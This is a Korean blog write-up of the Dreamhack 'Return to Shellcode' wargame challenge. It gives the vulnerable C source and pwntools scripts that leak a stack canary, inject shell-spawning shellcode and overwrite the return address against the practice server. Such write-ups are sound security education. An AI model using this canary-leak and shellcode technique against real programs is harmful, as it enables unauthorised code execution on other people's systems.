또 뭐하지
[Dreamhack] Return to Shellcode 본문
풀이
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
주어진 문제 코드를 살펴보면 버퍼크기는 0x50인데 입력받는 크기에 제한이 없다. 또, read(0,buf,0x100) 부분에서 0x100까지 읽어올 수 있는데 여기서 canary leak이 발생할 수 있다.
바이너리를 실행시켜봤을 때 buf와 $rbp 사이의 간격이 96이다.
`checksec ./r2s` 명령어를 통해 보호기법을 확인해보면 위와 같이 나온다. amd 64 아키텍처를 사용하고, 카나리를 사용하니 스택프레임은 아래와 같이 유추할 수 있다.
<스택프레임>
canary의 첫번째 null 값을 처리해주면 canary leak에 성공할 수 있을 것 같다. 그러면 일단 canary leak에 대한 익스프로잇 코드를 작성해보자.
from pwn import *
p = process('./r2s')
payload = b'A'*0x59 #buf + dummy + canary 첫자리 Null
p.sendlineafter(b':',payload)
p.interactive()
코드를 실행해보면 canary leak이 발생한 것을 볼 수 있다.
이제 canary를 얻었으니, buf에 셸코드를 입력하고 return address에 buf 주소를 덮어써주면 셸코드가 실행될 것이다.
from pwn import *
p = remote('host3.dreamhack.games', 14421)
context.arch = 'amd64'
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16) ## return address에 넣어줄 buf 주소 저장
payload = b'A'*0x59 #buf + dummy + canary 첫자리 Null
p.sendafter(b'Input: ',payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
sh = asm(shellcraft.sh())
payload = sh.ljust(0x58, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
p.sendlineafter(b'Input:', payload)
p.interactive()
익스플로잇 코드는 위와 같이 작성했다.
코드를 실행해보면 셸을 얻고 flag를 확인할 수 있다.
배운것
1. `sendafter`와 `sendlineafter`함수를 잘 구분해서 사용하자.
read 함수 일때는 send / scanf 함수일 때는 sendline
ex) `ABC\n`을 입력, read는 0x4142430a, scnaf는 0x414243로 읽어옴. (0x0a : 줄바꿈문자)
2. `def slog(n,m): return success(':'.join([n,hex(m)]))` 를 간단히 정의해서 로그를 확인하면서 익스플로잇하면 편하다
3. `shellcraft.sh()` : 셸을 실행하는 셸코드를 생성
4. `asm()` : 어셈블리 코드를 기계어 코드로 변환
5. `str.ljust(width, fillchar=' ')` : 문자열(str)을 왼쪽으로 정렬하고, 남은 공간을 지정한 문자로 채움. 여기서 width는 채우려는 전체 문자열의 길이.
6. u64 : 8바이트 길이의 바이트 문자열은 64비트 정수로 변환, 리틀엔디안 형식으로 인코딩된 데이터 해석에 유용
7. p64 : 64비트 정수를 리틀 엔디언 형식의 8바이트 문자열로 변환
(u64와 p64는 아직 적응이 필요하다)
'Write-up > Pwnable' 카테고리의 다른 글
[Dreamhack] ssp_001 (0) | 2024.05.24 |
---|---|
[Dreamhack] basic_exploitation_001 (0) | 2024.05.20 |
[Dreamhack] basic_exploitation_000 (0) | 2024.05.20 |
[Dreamhack] Return Address Overwrite (0) | 2024.05.20 |
[Dreamhack] shell_basic (0) | 2024.05.11 |